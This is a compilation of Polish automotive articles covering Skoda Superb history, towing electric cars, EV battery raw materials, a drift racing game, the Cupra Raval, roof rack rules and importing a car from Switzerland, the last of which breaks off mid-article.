Nowa Skoda Superb czwartej generacji zostanie zaprezentowana już tej jesieni, 90 lat po premierze pierwszego, historycznego modelu, produkowanego w latach 1934-1949. Pierwsza generacja tego modelu pojawiła się ponad 50 lat później. Wraz z wprowadzeniem drugiej generacji w 2008 roku Škoda Superb zadebiutowała w dwóch wersjach nadwozia oferujących najnowocześniejsze systemy wspomagania. Trzecia generacja modelu, obecna na rynku od 2015 roku, jest pierwszą serią Superb zbudowaną na modułowej platformie MQB Grupy. W 2019 roku gama została poszerzona o wariant hybrydowy typu plug-in.

Skoda Superb – 1 generacja z lat 1934-1949

Zanim historyczna Škoda Superb weszła do produkcji w 1934 roku, marka wyprodukowała już kilka modeli z najwyższej półki. Model ten był innowacyjny pod wieloma względami – okablowanie pokładowe pracowało z nowym wówczas systemem 12 V, który jest używany w samochodach do dziś. Auto, podobnie jak jego poprzednicy, bazowało na innowacyjnie zaprojektowanym podwoziu. Tradycyjna rama wzdłużna o przekroju ceowym została zastąpiona zaawansowaną ramą szkieletową z centralną rurą, dzielącą się z przodu na dwie belki. Taka konstrukcja pozwoliła nie tylko na umieszczenie wału napędowego w rurze, ale także stworzyła więcej miejsca dla niezależnego zawieszenia, które zapewniało doskonały komfort jazdy.

Škoda Superb była również pierwszym modelem marki wyposażonym w jednoobwodowe hamulce hydrauliczne o równym działaniu na wszystkie cztery koła. Podczas produkcji modelu w 1938 roku zaczęto montować silniki z niedawno opracowanym rozrządem OHV. W przeciwieństwie do niektórych swoich poprzedników, takich jak luksusowa Škoda Hispano-Suiza, Škoda Superb została opracowana przez markę w pełni we własnym zakresie. 

W efekcie w ciągu 13 lat powstało pięć wersji cywilnych i trzy wojskowe. Auto było dostępne z silnikami SV lub OHV o mocy od 40,5 do 70,7 kW i pojemności skokowej od 2.492 do 3.991 cm3. Większość silników miała sześć cylindrów – wyjątkiem była Škoda Superb 4000, która miała pod maską silnik V8-cylindrowy. Jeden z niewielu zachowanych pojazdów Superb 4000 należy obecnie do najcenniejszych eksponatów Muzeum Škody w Mladá Boleslav.

Skoda Superb – druga generacja

Rok 2001 był czasem wielu ważnych wydarzeń dla marki, w tym dziesięciolecia istnienia pod skrzydłami Grupy Volkswagen. Producent wprowadził także swoją charakterystyczną koncepcję praktycznych innowacji Simply Clever. Głównym wydarzeniem roku była jednak prezentacja limuzyny Superb, która ukazała się po 50-letniej przerwie. Zaprezentowana podczas Salonu Samochodowego w Genewie we wrześniu 2001 roku, Škoda Superb pierwszej generacji została zbudowana na platformie podwozia PL 45. Specjalnie dla modelu została ona poszerzona o 100 mm, co poskutkowało wyjątkowo przestronnym wnętrzem.

Pierwsza nowoczesna generacja pojazdu oferowała zarówno silniki benzynowe, jak i wysokoprężne, począwszy od 1,8-litrowego czterocylindrowego turbo o mocy 110 kW (150 KM), aż do topowej wersji 2,8-litrowego V6 o mocy 142 kW (193 KM). Przyniósł on ze sobą kilka pierwszych dla marki Škoda rozwiązań, w tym bi-ksenonowe reflektory, automatyczną skrzynię biegów Tiptronic, system oświetlenia Coming Home oraz elektronicznie sterowane wspomaganie hamowania. Unikalne wśród samochodów Škody były także wielowahaczowe przednie zawieszenie i montowane wzdłużnie silniki. W 2006 roku model Superb pierwszej generacji przeszedł lifting, który zintegrował charakterystyczną koncepcję tylnych świateł w kształcie litery C.

Nasz test Skody Superb przeczytasz tu.

Skoda Superb – trzecia generacja z napędem hybrydowym plug-in

W lutym 2015 roku w Pradze zaprezentowano Škodę Superb trzeciej generacji w wersji limuzyny, a kilka miesięcy później – kombi. Wykorzystując modułową platformę MQB Grupy Volkswagen, auto mogło korzystać z najnowszych technologii. Po raz pierwszy model wyposażony był w adaptacyjny układ jezdny DCC, trójstrefową klimatyzację oraz systemy wspomagające, takie jak Traffic Jam Assist i Emergency Assist. W gamie Superb dostępne były również: adaptacyjny tempomat ACC, asystent pasa ruchu i asystent podróżowania. Znacznie wzrosła również liczba funkcji Simply Clever – po raz pierwszy Škoda zaoferowała np. bezdotykowe otwieranie pokrywy bagażnika, gniazdo 230 V dla pasażerów tylnych siedzeń oraz parasole w panelach obu przednich drzwi.

Po faceliftingu w 2019 roku Škoda Superb trzeciej generacji otrzymała dodatkowe, najnowocześniejsze wyposażenie, takie jak reflektory Matrix-LED, adaptacyjny tempomat oraz bezkluczykowe otwieranie wszystkich drzwi. Co najważniejsze, seria została poszerzona o nowy wariant – model z napędem hybrydowym typu plug-in z silnikiem 1.4 TSI PHEV. Od 2001 roku marka wyprodukowała ponad 1 550 000 egzemplarzy Škody Superb wszystkich typów i generacji, z czego ponad 780 000 z nich stanowią modele trzeciej generacji.

Skoda Superb


Source: Skoda Superb – to już 90 lat flagowego modelu! Historia i zapowiedź 4. generacji

Holowanie samochodu elektrycznego – można czy lepiej unikać?

Spis treści

Czy holowanie samochodu elektrycznego do najbliższej stacji ładowania nie przysporzy nam problemów? Bo przecież każdy, nawet najlepiej zadbany samochód może się zepsuć, a awarie dotyczą tak samo aut spalinowych i elektrycznych. O tych drugich słyszymy zdecydowanie rzadziej, ponieważ skala zjawiska jest dużo mniejsza. Jedną z najczęstszych przyczyn unieruchomienia auta na prąd, jest zbyt mała ilość energii w baterii.

Holowanie auta elektrycznego – co trzeba wiedzieć?

Wyobraźmy sobie sytuacje, w której podczas jazdy zobaczymy samochód elektryczny na światłach awaryjnych. Zatrzymujemy się i chcemy dowiedzieć się, co się stało. Po rozmowie z kierowcą dowiadujemy się, że w aucie elektrycznym wyczerpała się bateria. Stacja ładowania znajduje się niedaleko. W teorii na podstawie doświadczeń z samochodem spalinowym holowanie do najbliższej ładowarki wydaje się jedną z pierwszych myśli, jaka przychodzi nam do głowy. Tylko czy w takiej sytuacji holowanie samochodu elektrycznego do stacji ładowania nie zaszkodzi temu auto jeszcze bardziej?

Z samochodami elektrycznymi jest bardzo podobnie do aut z napędem konwencjonalnym, wyposażonych w automatyczną skrzynię biegów. Producenci zabraniają ich holowania, nawet na krótkim dystansie. Zaczepienie auta elektrycznego na linie holowniczej oznacza między innymi kłopoty z pracą baterii. A jest to jeden z najdroższych elementów w całym pojeździe elektrycznym. Ryzyko uszkodzenia baterii jest na tyle wysokie, że podejmowanie holowania należy do skrajnie nieodpowiedzialnych decyzji.

Czy autem elektrycznym można holować inny pojazd?

Odwróćmy sytuację, czy pojazdem elektrycznym możemy holować inny samochód. W teorii nie jest to zabronione, ponieważ elektryk powinien być wyposażony w zaczep holowniczy, do którego można przymocować linkę holowniczą.

Jednak sama konstrukcja pojazdu zasilanego z baterii może nie być przystosowana do pracy przy tak dużym obciążeniu. Auta elektryczne przechodzą stopniowy proces adaptacji i część z nich nie ma jeszcze odpowiednich homologacji, które pozwalają na holowanie przyczep, łodzi, czy innych pojazdów. Dostępność haka holowniczego nie w każdym przypadku pozwala na bezpieczne holowanie innych aut. Przed wykonaniem takiego manewru należy szczegółowo zapoznać się z instrukcją obsługi samochodu lub z oceną sprzedawcy.  

Poza tym większe zapotrzebowanie na energię elektryczną oznacza szybki spadek poziomu naładowania baterii. A to bezpośrednio przekłada się na realny zasięg elektryka. Jeśli będziemy mieć pecha, auto elektryczne rozładuje się dużo szybciej, niż planujemy i na drodze znajdą się dwa unieruchomione pojazdy. Innymi słowy, holowanie samochodu elektrycznego elektrykiem może spowodować kolejne kłopoty.

Holowanie samochodu elektrycznego – jednak ryzykowne

Samochody elektryczne są coraz bardziej zaawansowanymi konstrukcjami. Ich napęd po unieruchomieniu pozwala jedynie na przewożenie lawetą do serwisu lub do najbliższej stacji ładowania. Podobnie do samochodów z automatyczną skrzynią biegów, holowanie nawet na krótkim dystansie zwiększa ryzyko kosztownej awarii. Elektryczne pojazdy osobowe również mają ograniczone możliwości holowania innych samochodów, dlatego w poszukiwaniu pomocy lepiej jest zdecydować się na assistance z lawetą, ponieważ daje on dużo więcej możliwości transportowych – mówi Mariusz Fornal – kierownik działu technicznego Steinhof.

Holowanie pojazdów – przepisy

Nieprawidłowe holowanie auta może nieść za sobą także ryzyko otrzymania mandatu, dlatego warto poznać podstawowe przepisy, które dotyczą tej czynności.

Pojazd holowany:

1. Musi być kierowany przez osobę mającą uprawnienia do kierowania tym pojazdem, chyba że sposób holowania wyklucza potrzebę kierowania nim.

2. Musi być połączony z pojazdem holującym w sposób wykluczający odczepienie się w czasie jazdy, a w przypadku holowanego motocykla musi być on połączony z pojazdem holującym połączeniem giętkim w sposób umożliwiający łatwe odczepienie.

3. Ma być oznaczony odblaskowym trójkątem ostrzegawczym z tyłu po lewej stronie (nie dotyczy motocykla), lub musi wysyłać żółte sygnały błyskowe (nie mogą to być światła awaryjne). W okresie niedostatecznej widoczności pojazd holowany ma mieć włączone światła pozycyjne.

4. W pojeździe holowanym, w przypadku połączenia sztywnego musi być sprawny co najmniej jeden układ hamulców, a przy połączeniu giętkim – dwa układy.

Odległość między pojazdami:

  • w przypadku połączenia sztywnego maksymalnie 3m
  • w przypadku połączenia giętkiego od 4 do 6 m

holowanie pojazdu


Source: Holowanie samochodu elektrycznego – można czy lepiej unikać?

Samochody elektryczne: zabraknie surowców do produkcji baterii? Raport

Spis treści

Jak wynika z raportu Bloomberg i Statista, zapotrzebowanie na surowce niezbędne do produkcji aut elektrycznych wzrośnie do 2030 roku nawet 14-krotnie! Dziś nie jesteśmy w stanie zapewnić takich dostaw. Czy ratunkiem okażą się nowe technologie produkcji?

Samochody elektryczne – surowce. Może ich zabraknąć

Po 2035 w salonach dealerów nie zamówimy już nowych aut z silnikiem spalinowym, chyba że…  będą zasilane e-paliwem. Koniec aut z konwencjonalnym napędem miał być rychły i ostateczny, ale dzięki tej „furtce”, historia trwająca od 1888 roku będzie toczyć się dalej. Z czego wynika ten nagły zwrot akcji? Być może jednym z powodów jest widmo braku surowców niezbędnych do produkcji ogniw na o wiele większą skalę niż dziś.

Stary Kontynent chce być centrum elektrycznej rewolucji, na czym paradoksalnie skorzysta…

Polska, piąty na świecie i pierwszy w Europie producent ogniw do samochodów EV.

Problem w tym, że szacunki ekspertów wskazują, że wzrost popytu wymaga dramatycznego wzrostu podaży metali potrzebnych do produkcji ogniw. Tych brakuje.

Swojego zaniepokojenia nie ukrywają również osoby, które na produkcji samochodów znają się jak mało kto – reprezentanci sektora produkcji z branży motoryzacyjnej. W badaniu przeprowadzonym przez dział robotyki firmy ABB oraz Automotive Manufacturing Solutions okazało się, że:

  • aż 59 proc. respondentów uważa, że przejście na produkcję aut w pełni elektrycznych zgodnie z przedstawianym przez ustawodawców harmonogramem, jest niemożliwe;
  • tylko 11 proc. wierzy, że wszystkie regionalne cele w zakresie adopcji pojazdów elektrycznych na lata 2030-2040, są realistyczne.

Ogniwa, akumulatory, baterie do elektryków – metale i surowce

Zbliżająca się lawina zamówień na elektryki oznacza nie lada kłopot dla przemysłu wydobywczego, ostrzegają eksperci rynkowi. Z danych opracowanych przez serwis Statista i Bloomberg wynika, że w okresie od 2019 do 2030 roku zapotrzebowanie na metale niezbędne do produkcji ogniw wzrośnie nawet kilkunastokrotnie:

Akumulatory trakcyjne, samochody elektryczne – surowce

  • nikiel i aluminium – 14 razy,
  • fosfor i żelazo – 13,
  • miedź i grafit – 10,
  • lit – 9 razy.

To wciąż nie koniec listy.

Wzrost zapotrzebowania na metale wykorzystywane w akumulatorach, popycha firmy wydobywcze do inwestowania w pozyskiwanie tych kluczowych materiałów i zwiększania produktywności – mówi Krzysztof Marat z ABB. – W przypadku produkcji ogniw do samochodów elektrycznych najbardziej problematyczne jest „białe złoto”, czyli lit.

Czy zwiększenie wydobycia wystarczy?

Niekoniecznie – ostrzegają eksperci ze Światowego Forum Ekonomicznego. Przygotowali analizę, która powinna zaniepokoić producentów pojazdów z elektrycznymi silnikami. Wg. Departamentu Energii USA,

pakiet baterii litowo-jonowych dla jednego samochodu elektrycznego zawiera około 8 kilogramów litu.

Jednocześnie w 2021 r. światowa produkcja tego metalu wyniosła 100 tys. ton, a globalne rezerwy szacowane są na około 22 mln ton (US Geological Survey).

Proste rachunki pokazują, że wydobytego w 2021 r. litu wystarczyłoby na niecałe 11,4 mln baterii do pojazdów elektrycznych. To mniej więcej tyle, ile – zgodnie z danymi Międzynarodowej Agencji Energetycznej (IEA) – już niedługo będzie sprzedawać się pojazdów elektrycznych w skali roku.

Światowych zapasów wystarczyłoby na wyprodukowanie nieco poniżej 2,5 mld akumulatorów do samochodów.

samochody elektryczne surowce

Produkcja aut elektrycznych zagrożona przez brak surowców?

Teoretycznie, światowe rezerwy litu są wystarczające do zaspokojenia spodziewanego wzrostu popytu. Czy powinniśmy jednak zakładać, że całe wydobycie trafi wyłącznie do branży motoryzacyjnej? – pyta retorycznie Krzysztof Marat.

Elektryczny second-hand

Jednym z rozwiązań jest budowa nowych kopalni, ale musiałoby ich powstać prawie 400 do 2035 roku – wynika z danych londyńskiej agencji raportującej ceny, Benchmark Minerals. Jednocześnie eksperci wskazują, że czas potrzebny do uzyskania pełnej operacyjności zakładu wydobywającego lit wynosi około 5 lat.

Można również mieć nadzieję, że kilkanaście lat to w branży motoryzacyjnej kilka epok, a w tym czasie technologia będzie się dynamicznie rozwijać (i tanieć). Dzięki wspomnianej legislacyjnej „furtce” i możliwości stosowania silników spalinowych na e-paliwa,

cena paliw ekologicznych spadnie z kilkudziesięciu złotych za litr do poziomów akceptowalnych przez statystycznego Kowalskiego.

Przełoży się to na mniejszy, niż obecnie zakładany, popyt na baterie litowo-jonowe.

Recykling baterii – co robić ze zużytymi akumulatorami do aut elektrycznych?

Jest jeszcze jedno rozwiązanie. Według Światowego Forum Ekonomicznego, po 2030 roku powinniśmy spodziewać się gwałtownego wzrostu ilości zużytych baterii do pojazdów elektrycznych, które skończą swoją żywotność. Posłużą one do ponownego odzysku niezbędnych surowców, co może zmniejszyć zapotrzebowanie na lit o około jedną dziesiątą do 2040 roku.

Podobne wnioski przedstawia raport WEF „A Vision for a Sustainable Battery Value Chain in 2030″, zgodnie z którym w 2030 roku ponad połowa (54 proc.) baterii wycofanych z eksploatacji zostanie poddana recyklingowi. Eksperci szacują, że może to pokryć nawet 7 proc. zapotrzebowania na surowce wykorzystywane do ponownej produkcji.

Reshoring – co to jest?

Reshoring, czyli skrócenie łańcucha dostaw, tak by być bliżej rynków, które obsługujemy, to obok robotyzacji i wykorzystania sztucznej inteligencji, jeden z głównych trendów dla przemysłu na najbliższe lata – czytamy w raporcie opracowanym przez ABB. Dlaczego o tym mowa w kontekście aut elektrycznych? Bo najlepiej na miejscu, czyli tak, gdzie liczba zużytych akumulatorów trakcyjnych będzie gotowa do ponownego przetworzenia, dokonywać ich recyklingu.

Nakładają się na siebie dwie siły: po pierwsze, Polska już jest hubem dla rozwoju elektromobilności. To tutaj wytwarzane są ogniwa dla większości sprzedawanych w Europie aut, a także opracowywane są rozwiązania i technologie dla sektora EV. Po drugie, ze względu na swoje położenie geograficzne, rozwijającą się infrastrukturę, a także dostęp do europejskich rynków, jesteśmy wymieniani jako ci, którzy mogą najwięcej zyskać na takim „powrocie” produkcji – mówi Krzysztof Marat.

To duża szansa dla rodzimego rynku, jednak by okazja ta została wykorzystana, musimy inwestować w technologie Przemysłu 4.0, a z tym dziś nadwiślańskie firmy mają jeszcze problem.

Source: Samochody elektryczne: zabraknie surowców do produkcji baterii? Raport

Japanese Drift Master w dwa tygodnie przekroczył 30 tys. zapisów na wishliście i milion zasięgu w social media. Kiedy premiera?

Gaming Factory ogłosiło swój największy projekt – Japanese Drift Master. W tym czasie liczba zapisów na karcie Steam przekroczyła 30 tys., a materiały z gry osiągnęły łącznie milionowy zasięg w social media. Twórcy podkreślają, że tytuł jest na zaawansowanym etapie, o czym świadczy prezentacja zarówno trailera, jak też obszernego gameplay z gry.

Japanese Drift Master – gra dla fanów JDM i motoryzacji

Japanese Drift Master – co to za gra?

Japanese Drift Master łączy strukturę gier wyścigowych opartych na drifcie z elementami fabuły w stylu powieści wizualnej z Dalekiego Wschodu. Na graczy czekają kilometry różnorodnych dróg, inspirowanych  prawdziwymi lokacjami i tymi znanymi z lokalnej popkultury. Dodatkowo klimat gry oddawać będzie możliwość spersonalizowania własnego samochodu nawiązując do japońskiej stylistyki.

Długo utrzymywaliśmy Japanese Drift Master w tajemnicy i cierpliwie czekaliśmy, aby zaprezentować jak najwięcej materiałów z gry. Jak widać ta strategia przyniosła zamierzony efekt. Nasz tytuł został świetnie przyjęty przez graczy oraz zauważony przez youtuberów. Bardzo dobrze wystartowaliśmy, wiemy jednak, że tak jak w każdym wyścigu, kluczowe jest utrzymanie odpowiedniego tempa oraz mocny finisz. Przed nami kolejne kroki związane z promocją tytułu i zaplanowanie kampanii przed samą premierą oraz po niej, ponieważ nie będzie to zamknięta produkcja – informuje Mateusz Adamkiewicz, prezes zarządu Gaming Factory.

Japanese Drift Master Gameplay

Tuż po zapowiedzi swojej gry Gaming Factory zorganizowało pokaz gameplay na swoich kanałach, aby gracze mogli przekonać się o faktycznym etapie produkcyjnym gry. Jak podają twórcy, wszystkie materiały z gry przekroczyły łącznie milion zasięgu na kanałach social media. Gra została zauważona i szeroko komentowana przez zagranicznych youtuberów, którzy podkreślają, że bardzo czekającą ten tytuł.

Gra już cieszy się szczególnym zainteresowaniem w Japonii, a twórcy niebawem ruszają z promocją gry w Europie i USA.

Japanese Drift Master – kiedy premiera?

Nowa produkcja to konsekwencja strategii, którą ogłosił notowany na głównym rynku GPW w Warszawie producent i wydawca gier. Gaming Factory zakłada rozwój wewnętrznych zespołów deweloperskich i większą koncentrację na własnych produkcjach. Spółka planuje  wydawanie około 4 produkcji rocznie oraz portowanie na konsole swoich najlepszych tytułów.

Premiera tytułu w formule early access na PC nastąpi na przełomie 2023/2024 r. i będzie to gratka dla fanów JDM.

Japanese Drift Master


Source: Japanese Drift Master w dwa tygodnie przekroczył 30 tys. zapisów na wishliście i milion zasięgu w social media. Kiedy premiera?

Cupra Raval – małe auto elektryczne dla pokolenia Z wyjedzie na drogi w 2025 roku

Spis treści

Na trwających obecnie targach Automobile Barcelona, hiszpańska marka Cupra, potwierdziła nazwę nowego miejskiego samochodu elektrycznego – Cupra Raval. Nazwa modelu to hołd dla dzielnicy Raval, znajdującej się w samym sercu Barcelony, o której można było usłyszeć w ostatniej kampanii realizowanej we współpracy z hiszpańską artystką Rosalią.

Raval to jedna z najbardziej zaskakujących części Barcelony. Tamtejsze ulice wypełniają bary, cyganerie, sklepy designerskie i uliczni artyści, a to wszystko sprawia, że miejsce to tętni życiem. Jesteśmy dumni, że przyszły miejski samochód elektryczny będzie nosił jej nazwę i reprezentował jej ducha. Tak jak zrobiliśmy to z modelem CUPRA Born, tak teraz chcemy wyrazić istotę Raval-a i nadal inspirować świat niepowtarzalnym klimatem Barcelony – wyjaśnił Wayne Griffiths, dyrektor generalny CUPRA.

CUPRA Raval

Cupra Raval na prąd

Producent z Martorell zaprezentował koncept, będący interpretacją miejskiego samochodu elektrycznego, inspirowanego światem wyścigów. Firma ma zainwestować 3 mld euro w transformację hiszpańskiego zakładu, który do tej pory przystosowany był w dużej mierze do produkcji pojazdów spalinowych. Cupra chce w ten sposób przybliżyć realizację swojego celu, którym jest pełna elektryfikacja i wyłączna produkcja aut z napędem elektrycznym od 2025 roku w oparciu o platformę MEB Small Grupy Volkswagen.

CUPRA Raval nie jest po prostu kolejnym zwykłym samochodem. To zaproszenie dla nowego pokolenia, które oczekuje czegoś innego i lepszego. Miejski, buntowniczy i w 100% elektryczny samochód i z własnym charakterem, przemawiającym do osób z pokolenia Gen Z – powiedział Griffiths.

Związek Cupry z Barceloną, a w szczególności z dzielnicą Raval, wykracza poza proste nazwanie niektórych modeli na cześć konkretnych części miasta.

Chcemy być siłą napędową zmian w dzielnicy. Z tego powodu już teraz rozmawiamy z instytucjami i organizacjami w Raval, aby promować działania, które pomogą młodym ludziom – dodaje Griffiths.

Najpierw Cupra Tavascan i DarkRebel w Metaversum

Na targach Automobile Barcelona zaprezentowano poprzednio model Cupra Tavascan, pierwszy w 100% elektryczny SUV marki. Jego premiera odbyła się 21 kwietnia w Berlinie, podobnie jak prezentacja modelu DarkRebel. Ten ostatni to świetnie zaprojektowany cyfrowo samochód pokazowy marki.

Do tej pory ponad 100 tys. użytkowników skonfigurowało swojego DarkRebel w tzw. Hyper Configuratorze, który dostępny jest w wirtualnym świecie Metaversum. Producent zapowiada, że ich projekty będą miały wpływ na przyszłą fizyczną wersję samochodu pokazowego, która pojawi się już wkrótce.

Source: Cupra Raval – małe auto elektryczne dla pokolenia Z wyjedzie na drogi w 2025 roku

Za bagażnik dachowy możesz dostać mandat – jak dobrać go prawidłowo i uniknąć problemów?

Spis treści

Bagażnik dachowy to bardzo przydatne akcesorium do samochodu. Umożliwia przewożenie walizek, rowerów, a nawet kajaka na dachu auta. Jak wybrać odpowiedni bagażnik i co warto wiedzieć, aby nie zapłacić mandatu?

Bagażnik dachowy – przepisy

Bagażnik dachowy to doskonały pomysł na łatwe i praktyczne zwiększenie możliwości transportowych samochodu osobowego. Dzięki niemu można przewieźć przedmioty, które w żaden sposób nie zmieszczą się w bagażniku samochodu.

bagażnik dachowy

Decydując się na taki transport warto jednak pamiętać o przepisach związanych przewożeniem ładunku, a dokładnie treści Art. 61. Prawa o ruchu drogowym Dz. U. 2022.0.988 t.j. – Ustawa z dnia 20 czerwca 1997.

Przepisy obligują prowadzącego pojazd między innymi do zadbania o to, aby:

  • ładunek nie przekroczył dopuszczalnej masy całkowitej lub dopuszczalnej ładowności pojazdu;
  • warto przy tym pamiętać o nośności dachu – maksymalny ciężar przewożonego na nim ładunku najczęściej wskazany jest w instrukcji obsługi.

Bagażnik dachowy nie jest również sposobem na przewożenie ponadgabarytowych ładunków. Co to oznacza?

  • Całkowita szerokość pojazdu nie może przekraczać 2,55 m.
  • Ładunek nie może wystawać z tyłu na odległość większą niż 2 m i z przodu na odległość większą niż 0,5 metra (i większą niż 1,5 m od siedzenia kierującego) – licząc od obrysu pojazdu.
  • Wystające poza obrys pojazdu przedmioty należy oznaczyć zgodnie z obowiązującymi przepisami – np. z tyłu czerwoną chorągiewką, a z przodu pomarańczową.

Prawo o ruchu drogowym mówi ponadto, że przewożone rzeczy nie mogą:

  • naruszać stateczności pojazdu;
  • utrudniać kierowania;
  • ograniczać widoczności drogi.

Niestosowanie się do obowiązujących przepisów związanych z przewożeniem ładunku może prowadzić do mandatu.

Bagażnik dachowy na Fordzie Explorerze

Jak dobrać bagażnik dachowy?

Bagażnik dachowy stanowi niezbędną bazę do zamontowania boxa dachowego, uchwytów rowerowych czy akcesoriów pozwalających na transport kajaka lub nart. Przed zakupem warto sprawdzić do jakiego modelu auta pasuje dany bagażnik. Część z oferowanych rozwiązań jest przeznaczona konkretnemu mocowaniu.

– Bagażnik dachowy może być zamontowany w samochodzie na kilka sposobów, które uzależnione są od modelu samochodu. Na przykład mocowaniem do krawędzi dachu, do specjalnych punktów montażowych lub na relingach. W naszym katalogu akcesoriów można znaleźć bagażniki dachowe indywidualnie zaprojektowane do każdego z modeli Forda. Przed zakupem warto też sprawdzić maksymalną ładowność pojazdu oraz maksymalne obciążenie danego bagażnika. Warto również dodać, że ze względów bezpieczeństwa lepiej wybierać takie modele bagażników dachowych, które można zablokować, zapewniając ochronę przed kradzieżą – wyjaśnia Grzegorz Handzlik, dyrektor sprzedaży samochodów osobowych Ford Polska.

Jednym z praktyczniejszych akcesoriów, które można umieścić na bagażniku dachowym jest box dachowy. Zwiększa on ładowność samochodu, a jednocześnie zapewnia bezpieczeństwo przewożonego bagażu. Można w nim przewozić z powodzeniem miękkie torby, sprzęty do letnich eskapad, a zimą – narty lub deski snowboardowe. Większość boksów dachowych wyposażona jest w wygodne zamykanie i otwieranie dzięki centralnemu zamkowi. Przy zakupie warto sprawdzić czy dany model ma dwustronne otwieranie – ułatwi to korzystanie podczas codziennej eksploatacji.

Bagażnik dachowy na rowery

Natomiast dachowy bagażnik rowerowy to idealne rozwiązanie dla miłośników aktywnego spędzania czasu. Jest prosty w obsłudze i łatwy w montażu. Sam bagażnik składa się z szyn – do nich mocowane są koła roweru. Specjalny uchwyt podtrzymuje natomiast ramę jednośladu.

– Miłośnicy sportów wodnych mogą przewieźć kajak za pomocą specjalnej przystawki składającej się z czterech obrotowych profili ochronnych, które dopasowują się do profilu podstawy kajaka. Dzięki elastycznym podkładkom konstrukcja oferowanego przez nas rozwiązania chroni kadłub kajaka i umożliwia transport zróżnicowanych kształtów kadłuba. Warto dodać, że może ona pomieścić kajaki i deski paddleboardingowe o szerokości do 90 cm, a maksymalna masa ładunku to 40 kg – dodaje Grzegorz Handzlik.

Uzupełnieniem oferty akcesoriów, które można montować na bagażniku dachowym jest kosz bagażowy. Jest odporny na eksploatację w trudnych warunkach i idealny do przewozu nieporęcznych ładunków. Jak widać nie tylko boxy dachowe i bagażniki rowerowe można montować na dachu samochodu. Bagażnik dachowy można wykorzystać praktycznie pod każdym względem. Dodatkowo istnieje szereg akcesoriów – np. taśmy montażowe, zestawy ograniczników, czy uchwyty do przewożenia drabiny, które czynią tą konstrukcję niesamowicie praktycznym i uniwersalnym elementem.

Source: Za bagażnik dachowy możesz dostać mandat – jak dobrać go prawidłowo i uniknąć problemów?

Jak sprowadzić samochód ze Szwajcarii? Poradnik

Spis treści

Szwajcaria to nie Unia Europejska, ale sprowadzenie stamtąd samochodu, wbrew pozorom, wcale nie jest trudniejsze. A jak sprowadzić samochód ze Szwajcarii? Otóż procedura na początku wydaje się skomplikowana, ale – bazując na własnym doświadczeniu – opiszę i udowodnię, że ta czynność nie dość, że jest dość prosta, to także się opłaca. Ale czy warto w ogóle zawracać sobie głowę i ile trzeba szykować pieniędzy?

Auta ze Szwajcarii – stan

Warto wiedzieć, że po Szwajcarii, z małymi wyjątkami, jeżdżą samochody w bardzo dobrym stanie. Przechodzą one bardzo szczegółowy, restrykcyjny przegląd techniczny, tzw. MFK (Motorfahrzeugkontrolle), a sami Szwajcarzy po pierwsze, mają świetne drogi, po drugie dbają o swoje samochody. Wybierane przez nich auta, to zwykle modele z bogatym wyposażeniem. Jeśli trafimy na osobę, która podróżuje wyłącznie po swoim kraju i jego kantonach, to znaczy, że mamy do czynienia z samochodem, który rzadko przekraczał 120 km/h – to maksymalna prędkość w Szwajcarii na autostradach.

Co więcej, Szwajcarzy przykładają się bardzo do terminów wymiany wszelkich płynów eksploatacyjnych – są słynni ze swojej punktualności. Wraz z samochodem otrzymamy więc pełną dokumentację, co dokładnie i kiedy było w nim robione, czy wymieniane. Innymi słowy, w większości to auta pewniaki. Teraz dowiedzmy się jak sprowadzić samochód ze Szwajcarii? Od czego zacząć?

Jak znaleźć auto w Szwajcarii?

Bardzo pomocne są tutaj strony internetowe – ja korzystałam z odpowiednika naszego Allegro, czyli ricardo.ch oraz autoscout24.ch. Jeżeli ktoś planuje dłuższy pobyt w Szwajcarii, może odwiedzić kilka komisów. Nie wszystkie auta trafiają przecież do internetu, chociaż i w tym przypadku pomocne może być – dla porównania – oglądanie ofert w sieci.

Sprowadzenie auta ze Szwajcarii – na co zwrócić uwagę?

Najważniejsza rzecz, jakiej trzeba dopilnować to wspomniany MFK. Jeżeli samochód ma ponad 10 lat, albo od wygaśnięcia MFK upłynął ponad rok, potrzebne jest potwierdzenie ze stacji kontroli, że jest on sprawny i może być dopuszczony do ruchu. Niestety każdy kanton (ichniejsze województwo, region) ma swoje przepisy, a dane, o których piszę dotyczą kantonu berneńskiego. Bez ważnego badania technicznego samochód możemy zabrać jedynie na lawecie – o koszcie sprowadzenia samochodu ze Szwajcarii na lawecie piszę tez poniżej..

fot. Anna Grzegorzewska
Jak sprowadzić samochód ze Szwajcarii?

Druga sprawa, to pochodzenie auta. Jeżeli nie chcemy płacić 10 procent cła, należy szukać samochodów wyprodukowanych na terytorium UE. Sprawdzajmy, czy samochód ma świadectwo pochodzenia EUR-1. Krótko mówiąc, dla urzędników celnych jest to dowód na to, że pojazd został wyprodukowany w UE i w takim przypadku przy wwożeniu go na teren Unii nie płacimy tych 10 procent cła. Takie orzeczenie powinien załatwić nam szwajcarski sprzedawca (pośrednik, dealer). Jeżeli jednak kupujemy od osoby prywatnej, musimy sami się o taki dokument postarać.

O wydanie duplikatu lub potwierdzenia, można się zwrócić do producenta (np. przedstawiciela Audi w Szwajcarii), podając numer nadwozia. Jednak dla aut starszych niż 10 lat, możemy go nie otrzymać, ze względu na limity czasowe przechowywania danych w archiwach salonów samochodowych. Będzie to więc problem gdy znajdziemy jakąś perełkę, pięknego youngtimera lub klasyka.

Samochód ze Szwajcarii – znalazłam! I co dalej?

Warto go sprawdzić przynajmniej po numerze VIN. Dobrze, czy masz też numer rejestracyjny i datę pierwszej rejestracji. Wtedy możesz zweryfikować liczbę właścicieli i legalność wozu np. na stronie historiapojazdu.gov.pl

Szwajcarzy nie zawracają sobie głowy biurokracją. Przychodzisz, płacisz. Właściciel wyrejestrowuje auto w swoim urzędzie od ręki i ze specjalną pieczątką w dowodzie rejestracyjnym zabierasz swój nabytek. Żadnych umów i zgłoszeń do urzędów skarbowych. Ze starym dowodem jedziesz do wydziału komunikacji i po prostu rejestrujesz pojazd na siebie.

I tu kolejna ważna uwaga. W naszych urzędach bez umowy może być problem z zarejestrowaniem samochodu w ogóle. Umowę trzeba mieć! Dlatego najlepiej przygotować ją wcześniej po niemiecku, francusku lub włosku – zależnie od rejonu, gdzie będziemy szukać auta. Żeby oszczędzić na ponownym tłumaczeniu, można porozmawiać o podpisaniu również polskiej wersji lub przygotować wersję dwujęzyczną. Inna sprawa to przekonać sprzedającego, żeby dokumenty wypełnił i podpisał. Szwajcarzy czasami nie mogą zrozumieć, po co nam to wszystko…

Jak sprowadzić samochód ze Szwajcarii?

Jak sprowadzić samochód ze Szwajcarii? Na kołach czy lawecie?

